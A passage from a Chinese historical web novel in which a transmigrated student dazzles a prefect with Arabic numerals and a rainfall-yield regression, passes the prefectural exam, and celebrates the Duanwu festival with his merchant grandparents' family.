倘若大家都能打出来数字,自己却算不出东西,绝对会给知府留下一个书呆子的印象,对接下来的考试极为不利,因此这一次必然要用阿拉伯数字来列式计算,起码要算完应该算的东西,势必会引起大人注意了。 既然这样,不如叫他彻底地记住自己,干脆算函数! 大抵是已经有了前进的方向,他心里也不如何慌乱了,从师爷手中拿过两本薄薄的册子,坐到自己的杌子上,腿一岔就开算,却被师爷叫住。 “您还没有拿算盘呢?”师爷将算盘递过去,段之缙接过时甩了两下,木头珠子哗啦啦作响,他也不知道如何使用。 不过作为一个现代人,他是凭自己本事通过的高考,数学题也是在草稿纸上列着竖式,一个数一个数往外算的,连计算器都不用,更何况是算盘了。 于是知府陈望祖和师爷就看到了一个奇异的景象:在其他人劈里啪啦打算盘,半天也难往纸上写一个字的时候,有一个生童将算盘弃置一旁,下笔如飞,没过一会儿一张草纸便抄写了不少东西。 这是在作甚? 知府起身凑到了段之缙身边,只见他纸上画着极为怪异的符号,有些像一根竖起的棍子,有些像是虫子盘起来,有些则是两个圈上下叠在一起,然后画出来方形棋格一样的东西,将那些符号框起来。 陈望祖实在是好奇,这是画符吗?不像。 就在知府在旁边琢磨的时候,段之缙终于抄录好了产粮数字和降雨记录,然后一张张纸铺开,开始分别计算稻、麦历年产量的平均数、方差、并寻找众数和极数。 而陈望祖所见,就是这个名为段之缙的生童,一般低声背诵九九乘法表,一边在纸上列了一大串符号,然后似乎是完成了什么东西,突然在另一张干净的纸上写上了什么方差、极差、平均数一类的文字,做了不同的数字记录。 但他这亩产是什么时候算的? 段之缙算完了产粮之后又开始计算降水,也是算了满满一张纸,最后将数字腾挪到了粮食产量表中。 这一切都做完之后,他观察稻、麦和晴雨三组数据,直觉告诉他,这其中应当有一个函数的关系,果然一通操作猛如虎,算出了一个大体符合的回归模型,虽然比较粗糙,但是各个数值离函数线并不远,大体上能够做参考。 陈望祖此时已经全然懵住了,他见段之缙停下手中的动作,当即询问起来:“你在纸上写的是什么?” 段之缙收拾一下桌面,立刻起身行礼:“回大人的话,学生在列式算数。” “为何不用算盘呢?” “学生自幼便不习惯用算盘,到现在也打不利索,因而选择了这种方式计算。”语毕,段之缙重新抽出了一张干净的草纸,毛笔清点墨水,就用阿拉伯数字在纸上列竖式计算,“这数棍就是‘一’,天鹅颈一样的符号就是‘二’……这个‘×’字符号为两数相乘之意,再佐以九九乘法表,就可以算出最终结果,并不比打算盘慢多少,《数理精蕴》中记载过这种计算方式,只是用文字写数字罢了。” 说着他又另起一列,接着演示除法怎么计算。 陈望祖恍然大悟,果然就是《数理精蕴》中的算数方法,这个小子倒真是有几分聪明劲儿,竟然能想到用符号代替文字,使得计算的速度大大加快了。 不过那交叉的一横一竖里,为何又要画一只极瘦的“碗”? 陈望祖折扇点在函数图像上询问,段之缙接着答道:“这是学生算出来的亩产粮和晴雨之间的关系,大人请看。”他的两只手分别指着三组数字和降水量,慢慢地为知府讲解什么是“函数关系”,这个函数关系又应当如何计算。 只可惜平面直角坐标系是现代数学发展的结果,知府听得似懂非懂,更不知道他这一套公式是从何而出,又正确与否,不过有一点他还是听明白了,那就是利用这个“碗”,在知道降水的情况下,能够大致估算出亩产粮是多少。 知府为官也有十几载,一路熬上了四品官的位置,他脑子中的第一个反应便是,倘若此法真的准确,那么在准确记录晴雨状况的情况下,完全可以预测当年的亩产,从而提前应对可能发生的饥荒。 他捧起那几张薄薄的纸,如获至宝,连推带搡地命师爷去府衙取出其他的记录,他现在就要验证一番,可师爷苦着脸回道:“大人,不是我骨头懒,现在考棚已经封锁,若是再叫我回府衙,恐怕会闹出事端来。” 陈望祖这才从狂喜中清醒过来,扇子一敲脑袋,叹一声:“怎么把这个事儿忘了,现在还考着府试呢,罢了……”不过虽然条件不允许,知府还是和段之缙好好谈了谈何为方差,何为极数,何为众数。 段之缙详细讲解,又补充道:“据学生所知,淮宁以南的多省可以种植两季稻谷,早稻夏季成熟收割,晚稻秋季成熟收割,倘若有每一季稻子产粮的详细记录和晴雨录,应当也能分季计算。学生不才,此幅图过于粗略,晴雨关系和产量对应并不准确,若有当季的施肥、风力、种植时间等信息,应当可以做补充,使此图更为准确。” 陈望祖拿着几张薄薄的纸,左看右看,来回翻了好几遍,突然抬首紧紧盯住段之缙,蹙眉问道:“你这些东西都是从哪学的?那符号代替文字的方法也都是你自己想出来的吗?” 尊卑有序,段之缙不能与知府对视,垂首镇定回道:“回大人的话,以符号代替文字的方式是从外边传过来的,学生有幸曾经见商户用过,所以学了来,想着自己打算盘不行,若此法能够奏效也算弥补了缺点。” 知府狐疑地望向师爷,师爷思索了一会儿回道:“似乎东南沿海多与外番通商的那些地方,的确有用字符代替文字计数的方式。” “那你这碗一样的线是怎么做出来的?” “学生对这一类学问有一些不成器的兴趣,看过了《数理精蕴》、《算草》和《梅氏丛书》,里边记载,常有两组数字之间是有联系的,一组变化,另一组就会跟着变化。学生不得其解,钻研了很长时间,这才有所感悟,只要如此这般……” 段之缙侃侃而谈,暗自庆幸大学选修的计量史学有数学要求,这才没把高中学到的东西还给老师,现在只要用数字把知府转晕乎了,一切都不成问题。 果然,陈望祖没一会儿便云里雾里不知其解了,不过他也不关心,只要明白这些算学方法是正经的东西即可。 知府看看这个年轻的士子,心中感叹一句英雄出少年,又虚心求教如何使用那“碗”来运算,心满意足地揣好那一叠纸,准备晚上回了府衙便拿出之前的记录验证一番,倘若真的能够凑上,这个事情是一定要层层上报的。 而等他俩絮絮叨叨说完了,其他人早就打完算盘准备展示成果了,只不过大同小异,比起段之缙的那一份也无甚惊异之处。 再看一眼外边的天,东边一团血色,将赤色的朝晖洒进考场,给安静站着的士子染上一层红意。 也该结束了。 知府回到太师椅上,笑眯眯看着众人:“今日安平县的两位案首真是让本府大开眼界,诸位亦是难得的通达慧敏之人,只是还需牢记人外有人,天外有天的道理。也还请放心,下一次挑堂,咱们论书经讲义,不会再叫诸位为难了。” 众人下拜,然后被衙役 领出堂屋,回到自己的座位上准备笔墨,随时准备开始。 东边的太阳一点点往上爬,最终照透了考棚中的每一个角落,在此时答题不会再有昏暗不清的情况,便闻得刚才那位师爷如洪钟般的声音响彻整个考场。 “诸学子注意,未冠题开示第一题!” 一行行差役手持巨大木牌四处走动,号舍里的士子瞪大了眼睛去看上面的字,终于看清了第一题: “民可使由之”。 差役走完了全场,师爷气沉丹田,再次喊道:“诸学子注意,及冠题开示第一题!” 这一队差役便换了牌子,又从起始点出发,开示及冠题的第一题,不过这就和段之缙无关了,他此时正在冥思苦想“民可使由之”一题。 这一道题出自《论语泰伯》,全文为“民可使由之,不可使知之”,总是会被理解为愚民政策,然则朱子对此的解释为:“民可使之由于是理之当然,而不能使之知其所以然也。”这句话非但不是愚民,反而是在说百姓即便不能明白真正的“理”,也应当去引导他们按照“理”行事,教化则生仁义礼智信之心。 因此,这就是此题的第一个坑,倘若理解错了这一句话,将圣人教诲当成愚民之策,写出来的文章也只会叫大人生气。 段之缙笔杆轻摇,在脑海中搜寻教化百姓的内容,果然找到不少。 刚才的题已经开示完毕,师爷又一声大喊,提醒未及冠的学子注意,第二题即将开示,举着木牌的差役缓步走到身前,木牌上写几个大字:“以力假仁者霸”,语出《孟子公孙丑上》,这题见字知其义,定然要讲仁政,可是如何能将仁政在朱子教训中讲出新意,又是一个难题。 段之缙思考了一番,在草纸上草写第一题的答案。 他先破题,点出朱熹强调的“理之当然”之教化逻辑,随后阐释“使由之”的道理——引导民众遵循天理,然后结合《礼记学记》“不陵节而施”之说,指出“不可使知”是指教育需循序渐进,非否定认知。最后引用《孟子》“行之而不著”,说明对百姓的要求,暗合孔子“下学而上达”思想。 如此一来,此题的重点就从应当教化百姓使其依“理”升华为“如何去教化”。 “民可使由之”一题彻底答完,段之缙通读一遍,将个别的词句稍作修改誊抄在卷纸上。 第二题为“以力假仁者霸”,“假”按照朱子的解释为“借”,段之缙在心中默默思考,以“仁”的名义进行军事称霸,既是“假”仁还是“假仁”,要写什么呢?真正的“仁”是何种仁? 似乎这种思路就是最为理所当然的思路,可蒋先生的一句话突然在脑子中出现。 “为时文,最忌讳的一点就是在题目中寻求字眼,你所想并非你所想,你应该想的,是朱子所想。” 几乎是一个激灵,段之缙突然找到了破题的思路,这道题目的关键根本不在于“仁”与“不仁”,而是“以力服人,非心服也,力不赡也;以德服人,心悦诚服”! 他于心中构思了一番,仍是先往草纸上写再誊抄在卷纸上,等着彻底答完题,已经过了午时。从早上起来到现在,五个多时辰水米不进,人早就饿得不行了,可看一看被衙役们碾得稀碎的干粮,任谁也吃不下去,只能苦苦撑着,一直等到太阳西下,考场中昏暗不清,差役们挨个儿回收考卷。 府试的规矩和县试一样,一场考试以一日为限,日落后收卷并不发放蜡烛,生童们从号舍中走出,再由衙役们领着出去。 郑崑瑛的排号靠前,出来的也早,等着段之缙走出大门时人家已经在马车旁等着了。 “段弟,你答得如何?”郑崑瑛问道。 段之缙回想一番:“中规中矩,也想不出特别好的破题方式。” 郑崑瑛先笑他故作谦虚,又说起今日挑堂的事情,赞叹道:“真是想不到,段弟有这样的本事,比起我们这些只会死读书的人强多了。” 话虽这样说,但是算学历来不如书经等受重视,对士子的要求也低,只要能算明白钱粮即可,营造水利等事情还有工匠和下边的差役辅助,对运算的要求倒也不高。 因此段之缙笑道:“这有什么好说的,不过是奇技淫巧,难登大雅之堂。” 郑崑瑛:“你这法子倘若真的管用,定会引起轩然大波,到那时可就不是奇技淫巧了。” 他所说不错,哪怕是到了现代,粮食产粮还是受制于气候变化,老天爷多下一点雨或是少下一点雨,提前下一点或者推后下一点,粮食产量就会减半,甚至绝收。 现代社会因为科技发达,生产力水平高,黄河见了底也能叫老百姓活下去,可是在封建王朝,一江一河,无论瞧见了哪一个的河床,都是民不聊生、天下大乱,再严重的,王朝都会易主。 因此,若能够根据段之缙画出的图像推测粮食的产量,提早做准备,不知会拯救多少黎民百姓,皇帝必然会加以重视。 但是段之缙非常清楚,他所做的函数图像问题极大,只能适应这几年的数据,旁年的数据恐怕是合不上,因为粮产量除了和天气相关,与施肥、种植时间、温度、土壤本身的肥沃程度等相关性也极大,今日所作图像其实根本没有控制变量。 再有,据农书所说,不仅是麦和稻的亩产量差别极大,早稻和晚稻的产量差别也很大,而知府给的数据将两种稻混在一起,根本没有任何指导意义。 段之缙与他说明,两个人又上了车详谈一会儿,没过多久就回了客栈,饥肠辘辘的二人吃饱喝足赶紧入睡,因为当日仍是午夜时分,又要起身去考棚,重复今天的流程。 与昨日差不多同样的时间来到了水井街考棚门口,两人按照衙役们的指挥排队站好,不过今日第一件事却不是点名拿卷,而是正场放榜。 “天字八号、天字二十一号、地字十三号……”师爷拿着一张榜念上边的排号,共十一个,也就说明正场取录者共十一人,他们只要再考一场覆试便听其意愿可以不再参加接下来的二覆和三覆。 很可惜,其中并没有段之缙的名字,不过段之缙也挺高兴,天字八号正是郑崑瑛的排号,他记得很是清楚。 按昨天的规矩入场,今日知府没有挑太多人,只叫了五个进行考察,很快他们便出来了。然后大家一起等着太阳升起,师爷提醒童生开示题目。 覆试不分什么及冠与未冠,都是一样的题目,今日考察《周易系辞》“形而上者谓之道,形而下者谓之器”,挖的坑也十分明显,是要把生童向心学的方向引,这可就悖逆了朱子的见解。 段之缙略作思考,依《周易本义》“道即理,器即物”,强调理在事先,然后引用朱子《答黄道夫书》“理也者,形而上之道也,生物之本也”,最后用“理一分殊”的理论调和“道”与“器”,此篇就算是完成了。 誊抄在卷纸上后,唯一的任务就是忍着熬着,等着太阳落山。 又是和昨日一样的流程,众人被引出考场,看着悠哉游哉的郑崑瑛,段之缙便知道,郑崑瑛是不打算考明天的覆试了。 他怨念的小眼神直勾勾地盯着人家,幽幽开口:“真好啊……明天就能睡大觉了。” 因为又是一日水米不进,段之缙的声音哑得像喊号子的船工,一点都听不出来是他原本的声音。此时郑崑瑛正拿着杯盏仰头牛饮,听见这话差点一口水喷出来,呛得直咳嗽。 段之缙上去给他拍背:“德润兄,弟也没说什么不是,何必如此紧张?你要是不好意思,明天陪我一起二覆如何?” 郑崑瑛好容易止住咳,连连摆手:“你就算是我亲弟,我也不可能专为了你去二覆,明日你且熬着吧!” 段之缙本就是开玩笑,德润兄寒碜他他自然不会生气,仍是怨念地看着人家,一直到睡 觉。 第二日段之缙一个人被王章送去考棚,少了一个人陪伴,午夜的风都更冷些,不过很快他就乐得不知如何是好了,差点在大庭广众之下欢呼起来。 “地字十一、玄字二号、玄字三十一……” 玄字三十一! 这正是段之缙的排号! 覆试中选的人素来是比正场少许多,只是想不到五个人里边就能有一个段之缙。 他是不打算再考什么二覆了,拿着自己的东西转头就要走,又忽然想起来挑堂的事情,果然有差役过来寻他们,只带了两个人走。 这一次的挑堂比第一次挑堂正常许多,知府一本正经地问四书五经的内容,两个生童规规矩矩地答,没有任何差错。 陈望祖点点头,道一声“不错”,又将段之缙唤过来询问。 “你上次说得那个法子,本府回去用其他年份的对应,五个只对应上了两个,虽说其他年份的差别不是很大,但是也不算小,你能算的更准确些吗?” 段之缙深深一拜:“自然可以算得更为准确,可不是学生不愿意,只是需要更加详细的记录。例如当年的用肥情况,温度,风大不大,还有稻麦的种植时间等等……可据学生所知,府内的记录无法如此详细。” 他将昨天与郑崑瑛说明了的事情再说一边,知府大人便有些失望。 也难怪,在这个位置上也呆了好几年,本来还指着这个事情报上去能往上升一升,如今不保准的事情可不敢往上报,只挥手叫师爷领着他俩下去。 段之缙却没什么失望的,此次能过府试已经是意外之喜,对母亲、姨娘,包括对蘋儿都算是有了交代,还有什么不高兴的呢?欢欢喜喜出了考棚,留下一堆羡慕的目光。 爽啊! 既然考完了试,段之缙便开始做大款,带着德润兄和王章一块儿四处逛,在德平府吃吃喝喝,等着下榜的那天。 下榜那日已经是五月初了,天清气爽、草长莺飞,是个再好不过的日子,府衙前挤满了看榜的士子,虽然大多数得中之人都是提前得知,可还是欣喜若狂,甚至有喜极而泣者。 可悲者,若年纪一大把还屡试不中,便垂头丧气,严重的甚至捂着胸口倒下。 众生百态,大抵如此。 看完榜后,通过府试的童生留在原地,其他人被衙役疏散,师爷领着几位衣冠整齐的先生走出,手中拿着点名册。 “在下按照府试所取次序,五人为一结,朝廷分派的廪生为你们画押保结,所问一定要据实回答。填写年貌、三代、籍贯等也要细之又细,明年八月份的院试就靠着这个呢!” 语罢,师爷开始点名,五人一组上前,又分一廪生当场问讯,然后画押保结,自己填写应填写之处,由差役比照核对,这才能放他们走。 郑崑瑛是第一批离开的,他和王章站在一起等着段之缙过来。 段之缙在四十位童生中排中等偏上,正巧是十六名,第四批结保的学子。 这一次分派的廪生并不像上次分派的老先生那般“讲究”,确认无疑点后爽快地画押离开,段之缙上前填写自己的年貌等信息,交由师爷。 师爷也算是认识他了,将相貌记录和他的人面对照一番,提笔添道:“文气、瘦弱、长相腼腆些。”这才放他离开。 …… 尘埃落定,一行三个人不再于德平府停留,抓紧时间回了安平县。 此时王家众人都已经得知段之缙通过府试的消息,在门口放起了鞭炮,引得大家都上来询问。 “可是你们家王老爷有什么喜事?” 领头放鞭炮的正是琼香小子,他喜滋滋答道:“是我们老爷的外孙子过了府试,已经是童生了!孙少爷还未及冠呢!” 那的确是大好事一件!众人纷纷上来恭喜,直到一辆马车停在大门口。 琼香一见是二爷的那辆马车连忙迎上去,段之缙下来,见是正门先疑惑了一瞬。 非有贵客前来,宅邸的正门是不开的,哪怕是外祖和外祖母两位主人也多走侧门,一是规矩如此,二是图方便。 怎么今天这马车停在了正门? 琼香扶着二爷跳下马车,王伯和几个家生奴才都上来贺喜。 段之缙问王伯:“怎么今日这样郑重?” “二爷大喜,今天过了府试便是正经的童生老爷了,半只脚做了官,再过一个乡试便是官老爷了,老爷特意吩咐了,叫奴才们在正门接呢。” 他的意思清楚得很,半只脚做官是说只要段之缙能考过院试成秀才,够着了捐官的门槛,即便日后考不上,王家给他捐一个官便是了。 段之缙垂首低眉:“多谢外祖抬爱。不知道外祖现在何处?缙儿想去问安。” 王伯伺候老爷多年,老爷的心思他清楚得很,这个外孙虽不是亲外孙,可二小姐对他有活命之恩。人伦二字压在谁的头上,谁也不敢跳反。 再者这么长时间的观察,这个外孙沉稳有礼,心里还有成算,又肯吃苦,等到日后锦上添花,不如现在嘘寒问暖,和他交心,日后大家相互扶持才是正道。即便是看走了眼,实则是个不中用的小子,王家也不缺那个钱,花销便花销了。这才特意吩咐了老仆人开正门,显一显外孙的体面,因而王伯很乐意见段之缙上道:“老爷在主院里等着二爷呢。” 王伯带着他穿过一条条回廊来到主院,王老爷果然在正堂等候,连白老夫人也在。 “给外祖和外祖母问安。” 王老爷连忙叫他起来,又指着下首的椅子叫坐,一派慈祥道:“你是有极有出息的,没想到一切能这样的顺利,你母亲养了你也真是有福气。” 段之缙口称不敢:“能有母亲这样的慈母教导才是缙儿的福气。” 白老夫人喜欢听这句话,连声说他有孝心,知恩图报,这样的孩子佛祖都会保佑,日后得善果。 王元浩哈哈一笑,心中却没有多大的感触。 他自然是心疼女儿的,或许说一开始是心疼的,只是远在天边不得相见,又接连不断地弄出来麻烦事,实在是消耗了他为父的一片慈心。 固然,这一门亲事是因为他没有彻底地考察段成平便将虞儿匆匆忙忙地嫁了过去,可是这么多年,多少的银子砸进去,该弥补的也都弥补了。 此时一提起这个女儿便觉得心烦,不过谁能料到,她还真有几分福气,在京中给儿子找的老师竟然是进士出身,自己这才愿意出一年两千两的束脩。 谁知更有福气的事情还在后头。新县令来后,自己经营那么多年的关系也算是白费了,不知又要花费多少的时间精力和他搭上,谁知那先生和县令竟然是老朋友,这下可省了好多事。她又养得了一个好儿子,说不得真的有大出息。 王元浩想着,叫段之缙凑近了些说话,慈爱地拍拍他的肩膀道:“你也是正经的读书人了,体面二字最为要紧,你是姨娘亲生,总不好再叫施家那样。现在他们也都走商回来了,我便做主写于他们放良书,他们也都到官府解了奴籍,从此都是良人了。” 段之缙这会真是喜上眉梢,施家解了奴籍,连带着姨娘也是良人,虽然仍为妾室,可人权总是要强一些。 他从椅子上下来,不管这位老人到底是如何想的,段之缙都真心感激,端端正正磕了一个头,拜谢外祖。 可旁边的老夫人却显得不是很高兴,虽没有当场挂脸子,笑容却是僵了 一瞬。 原因无他,小施是虞儿从淮宁带过去的丫头,贴心顺意,一心一意地帮着主母,主人若是将她放出去,再生出反心可如何是好? 再说了,后院是女人成堆的地方,自己的闺女已然失子,唯有施姨娘的儿子养育在女儿膝下,不就是因为小施是奴籍,要听从主母的安排吗? 既是奴才,又是妾室,这样老夫人才能放心。 可如今丈夫招呼都不打一声,直接做主放了他们一家的奴籍,如何能叫老夫人高兴? 段之缙也看出了老夫人的忧虑,直挺挺地跪着,身子像是青松一般。 他唤一声外祖,又转向老夫人唤一声外祖母,保证道:“姨娘素来敬重母亲,当初母亲受难也是姨娘挺身而出,兄长去世之后也是姨娘将缙儿领到母亲膝下,外祖母放心便是。孩儿也绝不负母亲期望,定要为母亲挣一个体面回来。” 老夫人听得流泪,王老爷欣慰地扶他起来,叹道:“都是一家子亲生的骨肉,何故说两家子话?你这次府试结束了,也不要着急回去,起码先跟施家人说说话,一起过了端午再走。” 段之缙看一眼白老夫人,老夫人眼里亮闪闪的,大约是泪水还未干涸,含笑看着他:“听老爷的话,我们老两口还能稀罕你几日?便当是替你的母亲尽孝了,过了端午再走。那时候你的舅舅、姨母们都相聚一堂,我再将你的堂兄弟们介绍与你,一家子吃一顿团圆饭。” 段之缙应下,事情便也如此说定。 第34章 034端阳节(端午节的一些习俗,与…… “飞练,你扎的艾虎真丑!” “呸!就你扎的好看,我这个好歹还是虎,你那是哪来的傻猫?” “你们两个都消停些吧,能用艾叶剪,偏生要用艾草扎,做出些奇形怪状的东西!我们怎么往外带呀?” …… 一大清早,段之缙就听见外边的丫鬟和小子吵吵闹闹,一声接着一声,又有拖动木头的声音,迷迷糊糊地睁开眼睛,便看到窗户上好大一个人影,伸着胳膊往上吊东西。 “王章!琼香!” 他趿拉着鞋子,披头散发地走到外室,下人的嬉笑声更为清晰。 王章独自进屋,看他衣冠不整的样子,忙上去为他穿衣扎腰带,只是他一个人在此不见琼香,叫人觉得奇怪。 “琼香呢?” 段之缙询问的话音刚落下,窗户上的那个人影便吆喝出声,“二爷,我在这儿呢!”然后急匆匆地从梯子上跳下来,发出“哎呦”一声惨叫,似乎是跌着了,不一会儿琼香就捂着屁股窜进室内。 段之缙收拾好了身上,整了整自己的领口问道:“你干嘛去了?跌得厉不厉害?” 琼香嘿嘿一笑:“今天是五月初五端阳节,奴才刚才在窗上挂‘艾虎’和‘蒲剑’呢,驱邪祈福用。” 他说着又跑进内室从床头的小匣子里拿出一个绣“五毒”香囊,里边装着朱砂、雄黄和香粉,一边往段之缙腰间挂,一边说:“这是昨天晚上老太太让逢春嬷嬷送来的,叫今天一大早就给二爷带上,要驱‘五毒’用。嬷嬷还嘱咐了,叫二爷今天一大早就去老太太院子里请安,别耽误了。” 段之缙不敢耽误,连早饭也未用赶紧出门,只是刚迈出去门槛又被一个眼生的小孩子搂住大腿,正是秦先生领进来的。 “先生,这孩子是?” 秦先生捋一捋胡子:“怎么,这就认不出来了?这不是冯胜嘛!这个娃娃来江南之后便一直在王家的私塾中上课,我偶尔会去看看,你别说他还真有几分悟性。” 腿上扒着的孩子抬头盯着段之缙,眼珠子骨碌碌地转,然后嘿嘿一笑:“大哥哥,你不记得我了?我是剩子呀!” 段之缙身子半蹲,捏住孩子膨起来的脸仔细打量,果然是剩子,只是圆润了许多这才没认出来。 “先生说今日学堂放假,叫我们回去过端阳节,秦先生就领着我出来了。” 段之缙惊喜地揉揉他的脑袋:“这才多长时间没见着你,见风长啊!怎么这么壮实了?只是哥哥今日还要去拜见长辈,叫先生带着你好不好?” 冯胜乖巧懂事,自然没有不同意的,秦先生也欣然答应,要先带着孩子出去,段之缙耽搁了一会儿,现在步履匆匆地去了老太太的院子。 今日是过节,又是早上问安,段之缙结结实实磕了一个头,先给外祖母问好,又问起外祖母的起居和饮食。 白老夫人言说都好,叫小子们把外孙扶起,关怀道:“你早上用饭了没有?” 段之缙说尚未用饭,白老太太一脸喜色:“这不是正好?昨日我亲手包了粽子,用的岭南糯米和乐陵蜜枣,都是千里迢迢运到淮宁的,给你做早饭,就在我这儿用。” 逢春嬷嬷便下去吩咐丫头摆饭,段之缙扶着老太太坐到桌旁。 富贵人家最擅长养生,白老夫人又吃斋念佛,因而早上的菜极为清爽,一小盅菜粥,四五个比女孩拳头还小的蜜枣粽子,还有几碟小菜。 丫头们拆开箬竹叶,里边的糯米比平时所见小一些,带着竹叶的一点黄绿色,盈溢出淡淡的草本香气和米香味儿。 第一个粽子呈给老太太,第二个粽子放在“张天师骑艾虎”的小碗中端给段之缙,檀木筷子轻轻一拨,里边就流出金黄色的蜜汁,去了枣核的乐陵蜜枣晶莹剔透、色如琥珀。 王老夫人催着他尝一尝:“往年都做红豆沙的粽子,这还是第一回儿包蜜枣的,听说这乐陵的蜜枣和旁的蜜枣不一样,端的是色泽红润、味甘如蜜。” 筷子将一点蜜枣肉混着糯米送入口中,浓郁的米香混着绵密的甜在口中交融,又有淡淡的箬竹叶香气,更给甜中加了一份清爽。 “这粽子的确格外香甜,多谢外祖母。” 老夫人的眼睛笑眯眯,欢喜道:“好吃你便再吃一个,但不是我老太太吝啬,舍不得蜜枣粽子,糯米吃多了难克化,适可而止便好。” 段之缙称是,在白老夫人这里用完早饭,又搀着她去正堂,那里挤挤挨挨,俱是老夫人的儿女子孙。 王家行商,姻亲也多为商贾人家,只是王家的势力最盛,又能和当官的打交道,因此即便今日是端阳节,该一家人在一块儿,女婿们也抛下自家父母先来泰山泰水这里拜访。 白家人丁兴旺,王元浩养育了三个女儿五个儿子,除了在岭南之地经营的老大和老二回不来之外,段之缙的三个舅舅、三个姨母并三个姨父俱在。 舅舅们他都已经见过,姨母们倒是头一次见,他按照老夫人的指示上前行礼,几个姨母都泪潸潸的。 年纪最长的那个哭道:“你才到家里的时候,我并两个妹妹还想着来看你呢,只是父亲和母亲不许,说耽误了你用功,现在过了府试才能好生见见你。” “姨母慈爱,缙儿感激不尽。” “你来的时候,你母亲如何了?十几年不曾相见,想煞我们姐妹了。” 她们见这旁人生的子嗣,按理说隔了一层,只是见了段之缙便想起远隔万里之处还有一个姐妹受苦,如何能不心痛?她们也明白事理,知道自己姐妹日后便靠这儿子了,这才生出亲近之心。 段之缙呆在正堂中,姨母们问问家中的琐事,舅舅并姨父们问问进学的事情,三言两语的功夫,时间便匆匆离去,太阳已经在正当空挂着了。 老爷的院子里摆了宴,大家一起去吃酒。 端阳节一日,吃什么都是有规矩的,其中“五黄”是必须要用的。 第一黄为“雄黄酒”,丫头举着白玉酒壶,将橙黄色的酒液倒在玫红酒圆中,泛起粮食的香气,然后说一些吉利驱邪的话,伺候着主子们饮下。 第二黄为“黄鳝”,这一道菜为“响油黄鳝”,王老爷叫小丫头把第一筷夹到段之缙碗中,笑道:“端阳节的黄鳝,素来有‘赛人参’的美誉,这第一口叫你先尝。”段之缙谢过,夹起放入嘴中,鳝丝滑嫩,酱香浓郁。 第三黄为“黄鱼”,野生的黄鱼还活着的时候便用冰镇住,走水路运到安平,解冻之后还活了一会儿,便被宰杀清蒸,味道极为鲜甜。 然后便是咸鸭蛋黄,沙沙绵绵,油香四溢。 最后用第五黄——“黄瓜”炒了虾仁,清清口,又用了一些别的菜大家酒饱饭足,出去看赛龙舟。 龙舟比赛与不远处的静河中举行,多是商户出钱养的船队在端阳节这一天比拼,一是为了显示财力,二则图一个好彩头。 壮小伙们打着赤膊在红漆龙舟上奋力划船,晶莹的汗水顺着肌肉蜿蜒而下,船头的鼓手舞动着双臂,富有节奏的鼓声响彻了江面。 静河往日里风平浪静,今日却因龙舟赛波涛汹涌了起来,每过一会儿便有龙舟倾覆,这就是被淘汰了。 最后的胜利者拿下彩头,正是王家的船队,一下午的时间也就过去了,再回到自己的院落时,太阳已经往西坠落。 秦先生带了一整天的孩子,和李显光、蒋育成他们饮酒,还混不吝地喂了冯胜一杯,把一个好生生的孩子弄得酩酊大醉,只能中途告辞送他回去歇息,现在正在段之缙的院落中等他回来。 “你今日的事儿都忙完了?”秦先生问。 段之缙为先生侍奉茶水,回道:“是,先用了家宴,然后出去看了龙舟。” “我们后日便启程回京,你明日要先去看施家人,再去杨家拜访,不如今日去和郑崑瑛道别?” 施家? 段之缙一怔:“外祖他们许我去看望施家外祖吗?” 这里的规矩,无论是什么出身,都只能认嫡母之娘家为外家。 且施家二老一辈子都在为王家走商,即便是脱了奴籍也还是受雇佣的良人,仍靠着王家吃饭,段之缙虽有心拜访,却担心外祖介怀,再给施家造成麻烦。 秦先生拿茶水漱一漱口中的酒气,吐到痰盂中,回道:“你母亲托人嘱咐过我,提醒你去看看施家人,我已经和王老爷说过了,估计他想着明天跟你说吧。” 段之缙这才明白怎么一回事,原本打算的明日和德润兄告别也得挪到现在,只是大过节的,不知会不会打扰了他。 “我回来之前去他家说过了,估计在等着你吧。别空着手去,他家中还有一寡母呢,也别带太贵重的东西,不像样子。” 原来全都安排好了,再问问自己也不过是走形式。 段之缙失笑,听从先生的吩咐带了些糕点和常见的补品上马车,去了郑崑瑛家中。 德润兄住在铃铛巷,一眼瞧过去便知不是富贵人家的居所,可家家户户俱是干净整洁的样子,是正经过日子的地方。 “咚咚咚”,段之缙上前敲门,一个有些疲倦的女声响起,问道:“谁啊?” 然后紧跟着德润兄的声音:“娘,您歇着吧,该是我在蒋先生那里的同窗。” 段之缙听着,就在门口回道:“德润兄,是我,段之缙。” 有些旧的小木门被啪地打开,露出里边干干净净的院子和郑崑瑛的脸。 许是在家中也没有平日那么拘束,只趿拉着布鞋便来开门,见了段之缙不由得露出来一个笑脸。 “我还以为你今日不能来了呢。” 段之缙没带小厮,先把手上的东西递给德润兄才拍拍手心进了院子,然后回头笑道:“我后日便走了,如何今日不来?” 郑崑瑛也不跟他客气,爽快地拿过了东西:“怎么不多待些时日?” “母亲和姨娘俱在京中等着我,且虽送了信回去,可府试这样的大事还是得亲口告诉两位长辈。” 两人正聊着,郑崑瑛的母亲提着水壶出屋,又端着一只干净的碗,里边是有些发黄的糖粒。 她拘谨地走到两人跟前,用热水把糖冲开端给儿子的同窗,不好意思道:“家里也没有什么好东西,喝点糖水吧。” 段之缙赶紧接过,跟伯母道谢。 又说了没一会儿话,段之缙见太阳全然落下,时间真的晚了,这才跟德润兄道别。 可是分别总是叫人伤感,尤其是大家都知道,下一次见面便要等到明年八月的院试了。 第35章 035回程讲院试玉平大疫 同德润兄道别之后,次日段之缙先后拜访了杨家和施家。 施家二老常年走商,虽然更显苍老,但身子骨甚是不错。 施老太太一见段之缙便拥入怀中,嚎啕大哭起来。 “天可怜见的,老婆子就这么一个小女儿,从小就跟着二小姐过日子,养在眼皮子底下,偏生就去了京城,十几年不曾相见。做娘的想得心肝儿都疼,早知有今天,还不如没养了她……” 施家外公布满风雪的脸上也含着愁,眼眶子赤红,吧嗒吧嗒地抽着烟。 这烟该是次等的烟草,呛得人眼珠里俱是泪。 “好了好了,对着少爷说些这个。你还不赶紧冲些茶叶,给二爷润润嗓子?” 施外公把媳妇从段之缙身边扯开,吩咐她去冲水,又朝着段之缙叹一声:“幸得你姨娘忠心,我们也常得主人家的赏赐,只是这些好茶我们也不会喝,二爷喝了吧。” 他顿一下,犹豫片刻开口:“按理说我们的身份,不该问姨娘如何,可做爹娘的心,如何能忍得下?我的两个儿子都跟着王家的大爷去了更南边经商,我放心,唯独这个女儿牵肠挂肚,不知她日子过得怎么样。” 段之缙不忍他们伤心,只说姨娘仍伺候着母亲,平日里也没有什么为难的事情。 施外公点头,深吸一口烟:“这就好,能安生伺候主子也是好事。家里奴籍去了的事情,还是不要告诉你姨娘了,省得二小姐心里不快,给她增了麻烦。” 